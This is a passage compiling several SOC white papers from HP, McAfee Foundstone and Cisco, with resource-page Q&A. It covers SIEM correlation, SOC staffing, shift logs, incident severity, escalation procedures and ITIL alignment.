• Secure communication occurs securely over existing IP or IPsec protocols and through firewalls conforming to standard security policies. • Ability to scale to handle increasingly wider deployments that bring additional sources of information into the system without incremental installation and maintenance. An important element of the ArcSight ESM data aggregation strategy is a complete capture of the status, alarms and alerts from the various firewalls, intrusion detection systems, and other relevant sources that are being monitored, no matter what topology of agents and centralized collectors is used. This means that every field from every event is available for real- time correlation, display, investigation, and reporting. ArcSight SmartConnectors support hundreds of products and can also: • Normalize every alarm and alert into a common security schema • Filter out unwanted traffic • Set severity according to a common taxonomy • Intelligently manage bandwidth to minimize network traffic Data Correlation While ensuring that the necessary data can be collected and centralized, a successful SIEM technology should also be able to normalize, categorize, and correlate the data across many technologies. In particular a SIEM must be able to accomplish these eight tasks: • Normalization: A SIEM solution must have a robust data schema. In order to normalize data across many different devices, the solution must provide enough data fields to add all of the necessary information from these devices so it can correlate against them. Without this data capability, a SIEM could not add or integrate with multiple devices from disparate parts of the organization—such as from network devices, security systems, servers, applications, physical access, video analytic systems and environmental controls. • Categorization: The SIEM should provide an extensible taxonomy to describe events in an easily understandable format, easily group events by writing vendor-independent rules, and the ability to seamlessly integrate new devices. • Simple Event Correlation: The solution should be able to easily perform event aggregation and look at multiple events to detect something that would otherwise go unnoticed. This basic functionality allows several events to be correlated, producing an outcome that is then re-evaluated against other events in the flow. For example, five attempts to login to a system within one minute using the same user account could be indicative of a brute force login attempt. • Multi-Stage Event Correlation: The SIEM solution should be able to analyze information from a variety of disparate events—sometimes three or more different events—to determine if they are all related to the same incident. For example, the SIEM should be able to find the relationship between the firewall accepting the attack traffic and the attacked system communicating back out to the attacker. This combination must be picked out of the haystack of millions of events passing through the correlation engine. • Prioritization: The solution should have the ability to identify the business relevance of the target in question as it relates to the organization’s business imperatives. If the target is a revenue-generating system or contains classified data, it should be given the highest priority. If it is a seldom-used system in a lab, it can be placed further down the list to be addressed when the event management team has time. • Statistical Analysis: A SEIM should have the ability to detect events of significance by identifying mathematical deviations as anomalies from normal traffic such as sharp increases in activity on a particular port, protocol, or event type. • Historical Analysis: The solution should be able to provide historical or forensic information to help the SOC figure out what might have been missed. This is impossible in solutions without an advanced correlation engine capable of reevaluating past data to look for compromises that may have gone undetected. The potential attacker might also be doing organizational reconnaissance, slowly mapping out the network in preparation for launching a full-scale calculated attack at later time. The SOC needs the ability to detect unusual activity levels for long periods of time before an attack is launched. • Physical and Logical Analysis/Location Correlation: The solution should be able to perform both physical and logical correlation. The SOC needs the ability to correlate between physical access systems and logical security devices—such as operating system logs or VPN data. This will provide the ability to detect incidents such as account sharing physical plus VPN access violation, a geographic access violation or suspicious physical activity like after hours building access. © Copyright 2011 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. The only warranties for HP products and services are set forth in the express warranty statements accompanying such products and services. Nothing herein should be construed as constituting an additional warranty. HP shall not be liable for technical or editorial errors or omissions contained herein. All other product and company names may be trademarks or registered trademarks of their respective owners. ESP-BWP014-052809-09, Created August 2011 Summary Designing, building, and managing an internal security operations center can dramatically improve an organization’s ability to rapidly recognize and respond to malicious information security events. A SOC can also assist in ensuring organizations leverage the full value of the often expensive investment in security technology and meet a myriad of regulatory compliance requirements. Approaching the challenge across the full scope of People, Process and Technology will ensure the SOC is up to the task of effectively and efficiently recognizing and responding to malicious events. --- ## Source: https://montance.com/questions.php?id=92 [![pdf](content/images/icons/pdf.svg) HP - BUILDING A SUCCESSFUL SOC.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgeDR0eXk1SGFBVEk/view?usp=sharing) HP Building A Successful SOC Resource covering SOC titled 'HP Building A Successful SOC'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the core argument for building an internal SOC vs. outsourcing? A: The need for deep business context and the ability to respond immediately to incidents that threaten critical assets. * Q: What are the five key functions of a SOC? A: Event Management, Incident Management, Problem Management, Change Management, and Knowledge Management. * Q: What is the 'Event Management' process? A: The automated collection, normalization, and correlation of logs to generate alerts. * Q: What distinguishes 'Incident Management' from Event Management? A: Incident management is the human process of investigating and resolving the alerts generated by event management. * Q: What is the 'Problem Management' function? A: Identifying the root cause of recurring incidents to prevent them from happening again (e.g., fixing a vulnerable configuration). * Q: How does 'Knowledge Management' support the SOC? A: By maintaining a knowledge base of known errors, threat intel, and response procedures to speed up future investigations. * Q: What is the 'Mission Statement' of a SOC? A: A clear definition of what the SOC protects, its authority, and its service hours. * Q: What is the recommended physical layout for a SOC? A: A secure room with wall-mounted displays (video wall), tiered seating for analysts, and a separate 'war room' for crisis management. * Q: What is the role of 'Shift Handoff'? A: Ensuring continuity of operations by formally transferring knowledge of active incidents between shifts. * Q: What is the 'Metrics' focus in this paper? A: Operational metrics (volume, time) and Business metrics (risk reduction, value delivered). ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgWlphX3hHbE1ocm8/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgWlphX3hHbE1ocm8/view?usp=sharing]** White Paper Jason Bevis Sr. Director, CISSP , ISSMP , CRISC McAfee® Foundstone® Professional ServicesCreating and Maintaining a SOC The details behind successful Security Operations Centers Creating and Maintaining a SOC2Table of Contents Introduction 3 Define the Security Operations Center 3 Determine the Processes 4 Required templates 5 Reporting process 5 Understand the Environment 5 Developing Use Cases 6 Identify the Customer 7 Staff the SOC 7 Staffing schedule 8 Holiday coverage 8 Shift logs, incident logs, and turnover 8 Event Management 9 Incident assignment, update, and escalation 10 Security severity 10 Incident and event categorization 11 Incident resolution and escalation procedures 11 Third-party resolution and escalation procedures 12 Incident escalation contact list 13 Escalation guidelines 13 Tier functional responsibilities 13 Leveraging the IT Infrastructure Library (ITIL) Service Management Lifecycle 14 Conclusion 15 References 15 3 Creating and Maintaining a SOCIntroduction Security is becoming more and more established in the corporate structure—it is no longer acceptable for security to be a secondary function of an IT department. To address this challenge, organizations are investing in the development of Security Operations Centers (SOCs) to provide increased security and rapid response to events throughout their networks. Building a SOC can be a monumental task. Although the finer points of SOC deployment are very much network-specific, there are several major components that every organization must include: People, process, and technology. The three exist in all elements of security and should be considered equally critical components. This paper explains how strong people and well-defined processes can result in an operationally effective SOC. Proper planning is critical in the development and implementation phases. As with many security programs an iterative process is most effective in developing a refined set of procedures. This approach will allow an organization to more quickly recognize benefits from their investment, positioning them to take advantage of knowledge gained and lessons learned through the actual operation of the SOC. It is important to set appropriate expectations and timelines for the deployment of the SOC so the initial operational period is viewed as a period for refinement. The primary components of a SOC reviewed in this paper are: • Define the Security Operations Center—Establish the mission, responsibility, and scope of the SOC • Determine the Processes—Identify and clearly document key templates, procedures, and processes required to support the SOC • Understand the Environment—Determine the technical domain to be monitored, the “Use Cases,” and the type of data that is received by the SOC. • Identify the Customer—Determine the classes of customers and their interaction with the SOC • Staff the SOC—Define the operational hours and the required staff per shift • Manage the Events—Categorize, assign, and prioritize events received by the SOC • Leveraging ITIL—Understand the core ITIL components to continually run an effective SOC Define the Security Operations Center The first and most important component when implementing a SOC is to define the mission, charter, objectives, and responsibilities. Defining these core items will ensure its longevity and help avoid conflict with other companywide functions. To begin, create a SOC manual that formally documents each of the following items: • Mission • Charter • Objectives • Responsibilities • Operational Hours This manual will continually be used as a reference for the SOC staff and management. The definition statement should be clear and provide specific detail as described in the below example statement: “The SOC is responsible for monitoring, detecting, and isolating incidents and the management of the organization’s security products, network devices, end-user devices, and systems. This function is performed seven days a week, 24 hours per day. The SOC is the primary location of the staff and the systems dedicated for this function.” 4 Creating and Maintaining a SOCThe above example may not be comprehensive for some organizations and should be expanded upon with more specific details based on your organization’s mission and objectives. Once the responsibility definition has been documented, a list of service functions for the SOC must be defined. These may include: Service Functions • Status Monitoring and Incident Detection –SIEM Console –AV Console –IPS Console –DLP Console • Initial Diagnostics and Incident Isolation • Problem Correction • Security Systems and Software –Update and test DAT definitions –Apply corrective IDS/IPS and Firewall Rules –Apply other corrective software as instructed or required • Computing Equipment and Endpoint Devices –Remote administration –Update antivirus –Tune HIPS alerts –Configure whitelisting • Work with Third-Party Vendors • Escalation to Next Tier Level • Closure of Incidents –Coordination with tier levels –Coordination with end users and system administrators • Persistent Threat Investigation The service functions, once defined, will guide the daily processes and procedures for the SOC staff. Once each service is defined, each tier within the SOC can be assigned a series of responsibilities based on each individual’s expertise within the tier level. For example, monitoring the AV and SIEM console may be a service function of every tier; however working with third-party vendors may be a service function only reserved for tier 2 or tier 3 SOC staff. Once each service function is defined, a series of documents must be developed to ensure the appropriate information is gathered during an event or incident and to ensure consistency across all SOC staff. Determine the Processes The number of processes and procedures for a SOC is determined by its scope, how many services are offered, the number of customers supported, and the number of different technologies in use. An established global SOC environment may have tens or even hundreds of procedures. At a minimum, the basic procedures that are required for maintaining the SOC are: • Monitoring procedure • Notification procedure (email, mobile, home, chat, etc.) • Notification and escalation processes • Transition of daily SOC services • Shift logging procedures • Incident logging procedures • Compliance monitoring procedure • Report development procedure • Dashboard creation procedure • Incident investigation procedures (malware, etc.) Many of the procedures listed above may need to be customized based on the type of technology in use. For example, a monitoring procedure for the McAfee® Nitro SIEM solution would be very different then the monitor procedure for another vendor’s SIEM product, although they share some of the same characteristics. 5 Creating and Maintaining a SOCRequired templates A series of baseline templates should be created to help maintain documentation consistency by establishing the same format and basic information sets across policy and procedure documents. For example, templates for proper data input into ticketing systems and the GRC system will need to be developed to help ensure the appropriate technical information is gathered. A few key templates required are: • Shift log templates for each use case • Templates for each incident trouble ticket category Reporting process As a primary function, regular reports will need to be generated and provided to different audiences within the organization. Usually a weekly report is prepared for incidents, detailing the activity within the SOC. These reports can be delivered to management and other members on the core escalation contact list. The SOC manager should review all incident records regularly to ensure they were resolved within the parameters of the defined severity levels. The manager should also audit incident records that have exceeded standard resolution times to validate that the incident records were handled appropriately. The SOC processes and procedures should be reviewed regularly and updated based on the report data reviews and audits. In addition, many other reports can be created depending on the type of data received or requested by management. For a very detailed list of reports, refer to the “Operationalizing Information Security Putting the Top 10 SIEM Best Practices to Work” by Scott Gordon in the references section. Among these items are other key reports to measure staff on, including: • Shift log metrics • Trouble Ticket metrics Understand the Environment Without an understanding of the technical environment, it will be difficult to investigate and to understand if an actual attack has occurred. For this reason, the staff within the SOC must have the appropriate tools, diagrams, and knowledge of the network to perform their daily job. It is important to have both an electronic and a hard copy of the key network and application architecture diagrams. For any new SOC staff, navigating and understanding the environment should be included as part of their required basic training. This will also help meet SLAs and overall customer service within the SOC. As a part of the SOC’s service functions the security architecture will be defined and the SOC staff will have access to the different components and tools within that architecture. These may include, but are not limited to: • SIEM monitoring and correlation • Antivirus monitoring and logging • Network and host IDS/IPS monitoring and logging • Network and host DLP monitoring and logging • Centralized logging platforms (syslog, etc.) • Email and spam gateway and filtering • Web gateway and filtering • Threat monitoring and intelligence • Firewall monitoring and management • Application whitelisting or file integrity monitoring • Vulnerability assessment and monitoring Creating and Maintaining a SOC6Developing Use Cases To ensure the SOC is effective, a series of Use Cases must be defined. The term “Use Cases” may be a little misleading—think of them as events that require SOC intervention and/or monitoring. For instance, a repeat attack from a single source is a Use Case. It’s an actionable component of the SIEM in which the SOC was notified of through the network’s primary monitoring tool. A Use Case may include the involvement of a Rule, Alarm, or even a Dashboard to meet the organization’s requirements. Before defining Use Cases, it is important to have a firm grasp on the company policy, its assets, and the technical environment. A good way to develop Use Cases is by viewing the network from an attacker’s perspective; think of a disruption to the environment. Another option is to look at the regulations the organization is subject to and evaluate the items that could become non-compliant. Below is a list of some important Use Cases to consider when initially setting up the SOC. Use Cases • Repeat attack from a single source • Repeat attack on a single ID • SMTP traffic from an unauthorized host • Antivirus failed to clean • Excessive SMTP traffic outbound • Excessive web or email traffic outbound • Excessive traffic inbound (streaming, web, etc.) • Excessive access to a malicious website from a single internal source • Excessive connections to multiple hosts from a single host • Excessive exploit traffic from a single source • Excessive exploit traffic to a single destination • Excessive port blocking attempts from Antivirus or other monitoring systems • Excessive scan timeouts from Antivirus • Accessing a malicious website from multiple internal sources • Service account access to the Internet • Service account access to an unauthorized device • Scanning or probing by an unauthorized host • Scanning or probing during an unauthorized time window • Anomaly in DoS baselines • Anomaly in Recon baselines • Anomaly in Malware baselines • Anomaly in suspicious activity baselines • Anomaly in user access and authentication baselines • Anomaly in exploit baselines • Anomaly in network baselines • Anomaly in application baselines • Multiple logins from different locations • Multiple changes from administrative accounts • Multiple infected hosts detected on a subnet • Unauthorized user access to confidential data • Unauthorized subnet access to confidential data • Unauthorized user on the network • Unauthorized device on the network • Unauthorized server connection to the Internet • Suspicious traffic to known vulnerable host • Logging source stopped logging • Logs deleted from source • Device out of compliance (antivirus, patching, etc.) Use Case development is a critical component within a SOC and it must be understood. Below are two good write-ups that can be used to help understand the process for creating Use Cases as well as additional reporting that can be defined for the SOC environment. • “SIEM Use Cases—What You Need to Know” by msonomer • “Operationalizing Information Security Putting the Top 10 SIEM Best Practices to Work” by Scott Gordon Also see the References Section for more details. 7 Creating and Maintaining a SOCIdentify the Customer In some cases, the customer may define which services are provided by a SOC. The entire organization may be a customer, or the SOC may be setup to support multiple client (customer) environments. For each of these customers, the SOC will provide a series of services and will need to determine the inbound communication process. The first step in defining the SOC’s customer inbound process is to determine which services are provided to each customer. Is the SOC going to allow end-users to call or will the SOC be facilitating calls and emails from the help desk and internal administrators only? Once the customer base, service functions, and tier levels have been defined, the SOC inbound process should be diagramed. An example is shown below. Staff the SOC Staffing a SOC can be more difficult than expected. Two questions that Executives ask are: 1. How many employees do I need? 2. What skill sets are required? The number of employees is dependent on the operating hours of the SOC. If the operations are maintained 24 hours a day, seven days a week, not only do shifts need to be considered, but you will also need to consider time off, sick days, and holidays. A standard 24-hour SOC must be maintained by at least seven staff members. If not, procedures should be put in place for off-hours monitoring. This enables the staff to have a one-hour overlap for shift transfer and a floater to cover any holidays or time off when needed. This is discussed in more detail in the Staffing Schedule section below. Finding the right skills and hiring staff is a difficult task at the current time because there are a limited number of security professionals in the market. The security staff within the SOC must have a solid background in many different aspects of computer technology usually focusing on networks, applications, and in some cases, reverse engineering. In addition, a good manager or director is required to ensure documentation, optimization, and reporting are maintained appropriately. Typical roles within a SOC may include: • Security Analyst • Security Specialists • Forensics or Threat Investigators • Manager or Director 8 Creating and Maintaining a SOCStaffing schedule When setting up a SOC, ensuring you have appropriate coverage is critical. Some SOC operations will support 24/7 operations, and others will have limited remote support after certain hours. The following tables are a partial representation of the staffing hours for an eight-week period. Each SOC engineer is assigned per the shift schedule for the eight-week period. These engineers are identified by A which reflects the morning shift in the SOC and the afterhours shift Monday through Friday. The B represents the afternoon shift in the NOC center and the pager shift over the weekends. SOC Schedule Week Staff Level 1 2 3 4 5 6 7 8 Manager M SOC Engineer SE A A A A A A A A SOC Engineer SE B B B B B B B B Time Slot Monday Tuesday Wednesday Thursday Friday Saturday Sunday 00:00–00:30 A A A A A B B ….. A A A A A B B 06:00–06:30 A A A A A B B 06:30–07:00 A A A A A B B 07:00–07:30 AB AB AB AB AB B B 07:30–08:00 B B B B B B B …… B B B B B B B Holiday coverage One item typically overlooked is holiday coverage. In most cases, holidays should be treated as normal business days. There should be dedicated staff in the SOC for the given shift as described in the organization’s staffing schedule. All responsibilities regarding standard shift schedules should also be in effect. Shift logs, incident logs, and turnover Shift logs must be maintained for audit and to ensure continuity of the SOC operations. SOC shift logs should be maintained daily for every shift. Shift logs can also be maintained in a database or GRC system and used regularly to help identify past issues and the resolution of those issues. Any significant event or incident should be recorded in the shift logs. This includes all high-priority incidents, incident records, escalation actions, and any procedural problem that has or could have a security impact. Some very specific shift log procedures that are typically overlooked are: • Entries on the shift log are mandatory for each shift; a “blank” entry is not acceptable • If there is no activity or no open problems to turn over, put an entry in the log that says “No incidents to turn over” Shift log entries should use a defined format that includes the following: • Details of the event • Impact of the threat to the organization or asset • Description of the items found during the investigation while researching the event • Recommendations for the next analyst that might be taking over the incident 9 Creating and Maintaining a SOCIf possible, shift logs should be maintained in a secure role access controlled system such as a GRC. A typical example of a shift log is below. Details: The SOC has detected traffic from to over . Information gathered would indicate the asset is infected with malware. Traffic activity is being reported by . Impact: Malware is performing a remote call back, possibly leaking data or expanding its presence in the network. Description: Recommendations: Find the source IP asset. Contain the device. If no signs of malware are found, determine the cause for the detected event and remediate. If signs of malware are found, perform the required antivirus updates and/or forensics on the machine. Remediate or clean the system prior to connecting it back on the network. In addition to shift logs, incident log entries should also be kept. Although incidents should be maintained in a ticketing system, daily log entries should be used to transfer incidents. This log should follow a defined format that includes the following information: Time stamp, staff initials, the incident record number, and a brief description of the incident or event. An example of a typical incident log entry is below. Time Incident Record # Staff Name Description of Event 07:30 No incidents to turn over SOC Engineer name N/A Event Management The core function and technology within a SOC are based on events from hundreds or even thousands of different systems. Essentially the SOC is the correlation point for every event logged within the organization that is being monitored. For each of these events, the SOC must decide how they will be managed and acted upon. The management of events must include a list of instructions that apply on a 24x7 basis. This does not necessarily have to be the Incident Response Program Guide or Handbook. An event is any element that comes into the SOC and is monitored; while an incident on the other hand is an event that must be acted upon. As a part of event management, the SOC provides telephone and email assistance to its customers covering some of the following areas: • Malware outbreak • Phishing attacks • Social Engineering calls • Access to the organization’s security portal • Data Leak/Loss incidents • Customer account lockout • Customer inquiries 10 Creating and Maintaining a SOCAlso defining the guidelines for the level-one SOC support is important. These may include: • Open an incident ticket for any problems noticed and reported • Serve as the initial point of contact for customers on the organization’s network • Maintain daily shift logs • Perform rudimentary testing and diagnosis • Validate that the incident is not a user error • Formally assign the incident to the SOC Incident assignment, update, and escalation Before assigning incidents and defining the escalation process, the organization will need to agree on the technical solution used to maintain the incident records. Depending on the requirements, the organization may leverage an existing trouble ticket system or may implement a separate solution. The main aspect is to ensure the system allows for the assignment of the ticket and handoff if the incident continues past the SOC operator’s normal work shift. This system must also provide a level of security to ensure that tickets with sensitive information are only viewed by those with approved access. To ensure quick attention to incidents, the priority level and timeline of the response must be defined as an incident is assigned. Below is an example of the different assignment levels that may be used. Priority Impact Description Response Time Priority 1 Multiple systems and devices affected/compromised or possible data breach Within 10 minutes Priority 2 Multiple devices or users affected/compromised Within 1 hour Priority 3 Single device or user affected/compromised Within 8 hours Priority 4 No impact, logging response No response Priority should not be confused with severity. Severity will be explained below. Priority is the level of response time identified when the incident ticket is created or updated based on the extent of the impact. Security severity Providing clear and adequate details on severity levels is required for all levels of the SOC and its customers. Typically four or five severity levels are used. Organizations will want to be very specific in defining the different levels. Below is an example. Severity Explanation Severity 1 Critical Compromise. Major service disruption or publicly displayed attack. Severity 2 Serious Impact or Compromise. Attack affects multiple customers. Severity 3 Intermittent incidents or alerts, but not critical Severity 4 Informational, no security impact In addition, each severity must be expanded upon. For example, Severity Level 1 may be described as: SEVERITY 1: HIGH • System component complete compromise and possible full data-privacy breach • Critical impact to the organization (reputational) • Attack possibly still in progress • Multiple systems, groups, and users affected • Resolution Goal: 1 hour to immediate • Immediate manager notification when incident record is created Severity level 2 (Medium), level 3 (Low), etc. should also be defined in a similar manner. 11 Creating and Maintaining a SOCIncident and event categorization There are very good standards available to categorize events and incidents. These categories can be defined in the organization’s Governance Risk and Compliance System and metrics can be tracked accordingly for each category. The ten categories defined in the “Chairman of the Joint Chief of Staff Manual 6510.01B” with detailed explanations of their use should be leveraged within the SOC. These are: • Training and Exercises • Root Level Intrusion (Incident) • User Level Intrusion (Incident) • Denial of Service (Incident) • Malicious Logic (Incident) • Unsuccessful Activity Attempt (Event) • Non-Compliance Activity (Event) • Reconnaissance (Event) • Investigating (Event) • Explained Anomaly (Event) Incident resolution and escalation procedures Resolution of incidents in the SOC may tie into an existing incident response practice, but it must be included in the incident ticket record escalation process, which documents the steps required by the SOC staff. For resolutions of incidents many tasks will need to be completed, including: • Documenting incident description and resolution • Referencing any other trouble ticket or incident record IDs • Closing the incident record and the communication methods used to notify the end user or tier level contacts • Documenting the underlying root cause of the problem On high-priority incidents, the SOC should have a defined distribution list that is used for sending the problem resolution and assigned incident record ID. If an issue is not resolved at the first tier, then an escalation to the next tier is required and the SOC must have documented procedures in place to address the escalations. For example, if an issue is escalated to tier 2 the procedure in place may dictate something like the following: As initial Incident Record Owner, the Level 1 SOC engineer evaluates the problem and determines if he/she has the ability to resolve the issue. If the Level 1 SOC engineer has the ability to resolve the Incident Record, he/she: • Defines the incident in specific terms • Gathers additional facts necessary for troubleshooting and resolving the issue(s) • Considers possible causes or options and creates an action plan • Implements the action plan and observes results • Iterate steps until issue is resolved or it needs Level 2 SOC assistance If the Level 1 SOC engineer does not have the ability to resolve the Incident Record, the Level 1 SOC professional determines if another Level 1 SOC professional or Level 2 SOC assistance is required. If field security support is required, the SOC professional uses the escalation process and then refers to the documented escalation procedures to dispatch an on-site security analyst. If Level 2 assistance is required, the SOC technician assigns the Incident Record to the Level 2 group responsible for resolving the problem, and then refers to escalation procedures to notify the appropriate Level 2 security professional. 12 Creating and Maintaining a SOCThere must also be additional escalation procedures in place. The SOC must have clearly defined procedures for the escalation tier that address, at a minimum: • Resources to assist with resolution of incidents • Review of open incident records • Status updates • No response from customer (again customer is defined as part of the SOC services and in many cases may be the end user or system administrator) • Adding notes to the incident record • Additional escalations • Incident record closure • High priority / high severity handling • Lack of resolution In addition, a detailed step-by-step process needs to be documented for each level in the SOC for the analyst to know exactly what information is required, who to contact, and how to deliver the known information quickly and accurately. Below is an example of this escalation process: Third-party resolution and escalation procedures In some cases there will be a need to involve third parties in the escalation process. This may include when a software patch or antivirus update needs to be developed quickly. This may also include engagement of a third party to perform a more detailed forensics investigation and analysis. The SOC must have defined procedures in place for escalating these instances and the appropriate contact information to support that escalation process. 13 Creating and Maintaining a SOCIncident escalation contact list As a good practice, the SOC should maintain a complete and detailed escalation contact list. This should include all internal contacts, third-party contacts, distribution lists, and phone numbers as shown below. Contact Role Phone Mobile Email Escalation SOC Op 1 Level 1 SOC ###-###-#### ###-###-#### SOCOP1@soc.com SOC OP#2 Escalation guidelines The process of correcting incidents requires that detection, isolation, circumvention, and resolution disciplines be established and practiced by all levels of the SOC. This process can and should be mapped to the phases in the incident response plan, where applicable. A structured progression of recommended actions that directs individuals to perform the appropriate meaningful analysis and actions while troubleshooting is required. The SOC staff must also have guidelines for referring incidents to the proper specialists when they cannot be resolved. These can be organized in a simple table format as shown in the high-level example below. Detect Isolate Circumvent Resolve Level 1 Notice of incident Host status Modify host Primary configuration Validation of incident and hostQuery alerts and events Modify host Confirm restoration Review logs Perform analysis Document errors and outcomeClose incident Open incident record and document issueUpdate record with analysis resultsNotify customer Level 2 Review logs Review incident record Modify host Develop, test, and deploy fix Run malware analysis Notice the phases of the incident resolution process evolve from left to right and from Level 1 to Level 2. When activities at one skill level have been exhausted on an incident, the incident should be escalated to the next skill level for further action. Tier functional responsibilities Functional responsibilities are important for each operator. Documenting the SOC functions and assigning these responsibilities to each level is necessary to ensure tasks are escalated and handled properly. Below is a sample of the functional responsibilities. SOC Function Level 1 Level 2 Level 3 Takes inbound request • Creates shift logs • • • Logs incidents and requests • • Creates trouble tickets • • Isolates and validates incidents • • • Monitors events and alarms • • Plans and implements change • • Performs forensics investigation • 14 Creating and Maintaining a SOCLeveraging the IT Infrastructure Library (ITIL) Service Management Lifecycle Because ITIL has such a focus on service management, the SOC management team should use it as a guideline to ensure consistent performance and management over time. Many organizations will assess or audit a SOC based on the ITIL methodology, especially if they do not understand the underlying technology or the effectiveness of its monitoring. As a manger, it is important to be prepared for these audits. This can be achieved by implementing ITIL processes throughout the SOC. A few key items that must be in place are outlined in the following sections. Service Vision and Strategy—The mission statement, charter, or group objectives. Service Design—During this stage of the ITIL framework, it is important that the SOC has analyzed and documented all the business requirements. This enables the SOC to provide value to the business and align the SOC’s strategies and business objectives with the organization. This also enables the SOC to define key performance indicators (KPI) that can be leveraged to design services in accordance with the business requirements. As we defined earlier, the service catalogue or “Service Functions” must be defined. For each of the SOC core functions, service level agreements (SLA) will need to be clearly defined with management. Typically, the business should drive the SLAs. Other key considerations that should be addressed are personnel management of the SOC and the continuity of the operations. Service Transition—The important items to consider within this section are changes to the infrastructure. The SOC must be made aware of changes implemented across the enterprise. Otherwise, if monitoring systems are setup correctly, alarms will go off and unnecessary work will occur. Also, the SOC may perform specific services where they are responsible for change. As a result, tight integration between the SOC and change management is required. Service Operations—The service operations were defined earlier. This is mostly how event and incident management is conducted for the business. Several items must be in place for service operations, including: • Trend analysis • Tracking of remediation items • Reporting to the organization on SOC activities • Classification of issues • Software license compliance • Tracking and inventory of assets Continuous Service Improvement—Continuous Service Improvement identifies and structures an improvement process to enhance the SOC overtime. This includes: • Determining what to measure, such as use cases, alerts, shift logs, etc. • Defining what you can measure • Gathering the data, in the SIEM, a Governance Risk and Compliance (GRC) system, or manually • Processing and analyzing the data • Reporting or sorting through the data to help understand and identify improvements • Implementing the corrective controls and actions 15 Creating and Maintaining a SOCConclusion Security becomes integrated into an organization’s processes and every day it becomes more mature and over time, many organizations will choose to implement some type of Security Operations Center. A SOC can provide significant value as long as the proper planning occurs and sound processes have been created. Hopefully this document has provided insight for those either embarking on a new SOC or looking for improvements to their current operations. With a solid managed operation and well trained employees an organization can rest easy knowing its customer base is happy with quality service and feels confident in the response to security events. References ITIL; http://www.itil-officialsite.com/ Chairman of the Joint Chiefs of Staff Manual; CJCSM 6510.01B, 10 July 2012 http://www.dtic.mil/ cjcs_directives/cdata/unlimit/m651001.pdf Operationalizing Information Security Putting the Top 10 SIEM Best Practices to Work by Scott Gordon; http://www.eslared.org.ve/walcs/walc2012/material/track4/Monitoreo/Top_10_SIEM_Best_Practices.pdf SIEM Use Cases—What you need to know by msonomer; http://infosecnirvana.com/siem-use-cases About the Author Jason Bevis is a Sr. Director leading McAfee and Foundstone Professional Services in the Eastern US, Canada, and the Bangalore India application testing team. Jason is responsible for developing new business in the region, growing the practice, and providing cutting-edge risk management and security planning services and solutions to the Foundstone Professional Services organization. Jason’s security expertise includes development and implementation of programs for security management and governance, planning, enterprise risk, awareness, incident response, security policies, business continuity, and disaster recovery planning. He has tactical experience in architecting, designing, and implementing security controls for large-scale infrastructure environments across all technology focuses including identity management, single sign-on, and vulnerability assessments. He is also very versed in ISO/IEC 27001, SOX, HIPAA, COBIT, ITIL, PCI, PHIN, FFIEC, FEMA, and other compliance regulations and standards. About McAfee Foundstone Professional Services McAfee® Foundstone® Professional Services, a division of McAfee, offers expert services and education to help organizations continuously and measurably protect their most important assets from the most critical threats. Through a strategic approach to security, McAfee Foundstone identifies and implements the right balance of technology, people, and process to manage digital risk and leverage security investments more effectively. The company’s professional services team consists of recognized security experts and authors with broad security experience with multinational corporations, the public sector, and the US military. http://www.mcafee.com/us/services/mcafee-foundstone-practice.aspx About McAfee McAfee, a wholly owned subsidiary of Intel Corporation (NASDAQ:INTC), is the world’s largest dedicated security technology company. McAfee delivers proactive and proven solutions and services that help secure systems, networks, and mobile devices around the world, allowing users to safely connect to the Internet, browse, and shop the web more securely. Backed by its unrivaled global threat intelligence, McAfee creates innovative products that empower home users, businesses, the public sector, and service providers by enabling them to prove compliance with regulations, protect data, prevent disruptions, identify vulnerabilities, and continuously monitor and improve their security. McAfee is relentlessly focused on constantly finding new ways to keep our customers safe. http://www.mcafee.com 2821 Mission College Boulevard Santa Clara, CA 95054 888 847 8766 www.mcafee.com McAfee, the McAfee logo, McAfee Foundstone, and McAfee Global Threat Intelligence are registered trademarks or trademarks of McAfee, Inc. or its subsidiaries in the United States and other countries. Other marks and brands may be claimed as the property of others. The product plans, specifications and descriptions herein are provided for information only and subject to change without notice, and are provided without warranty of any kind, express or implied. Copyright © 2013 McAfee, Inc. 60059wp_creating-soc_0213_ETMG --- ## Source: https://montance.com/questions.php?id=91 [![pdf](content/images/icons/pdf.svg) McAfee - SOC - creating maintaining SOC.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgWlphX3hHbE1ocm8/view?usp=sharing) McAfee SOC Creating Maintaining SOC Resource covering SOC titled 'McAfee SOC Creating Maintaining SOC'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgTUY3bDBIcnIzUkk/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgTUY3bDBIcnIzUkk/view?usp=sharing]** © 2006 Cisco Systems, Inc. All rights reserved. Cisco ConfidentialSOC – Security Operations Center 1 How to Build Security Operations Center (SOC) Architecture, Requirements, Methods And Processes and Deliverables Jan 2007 © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 2SOC – Security Operations Center Agenda 1. Need for SOC1. Need for SOC 2.Defining SOC Architecture 3.Building SOC Team 4.SOC Deliverables © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 3SOC – Security Operations Center2)Secure Resources Firewall, Encryption, Authentication, Audit 1) ISP’s Security Policy 3)Monitor and Respond Intrusion Detection, working the incident 4)Test, Practice, Drill Vulnerability Scanning5)Manage and Improve Post Mortem, Analyze the Incident, modify the plan/proceduresWhy Do You Need SOC? Security incidents are a normal part of an ISP’s operations! © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 4SOC – Security Operations CenterBusiness Drivers to Build SOC Risk management strategy for infrastructure and services ƒInfrastructure is business for SP Risk management of critical information assets Allow business continuityAvoid disruption to critical services ƒRevenue generating services Prevent loss/contamination of data Provide protection against lost or delayed transactions Avoid customer service disruption © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 5SOC – 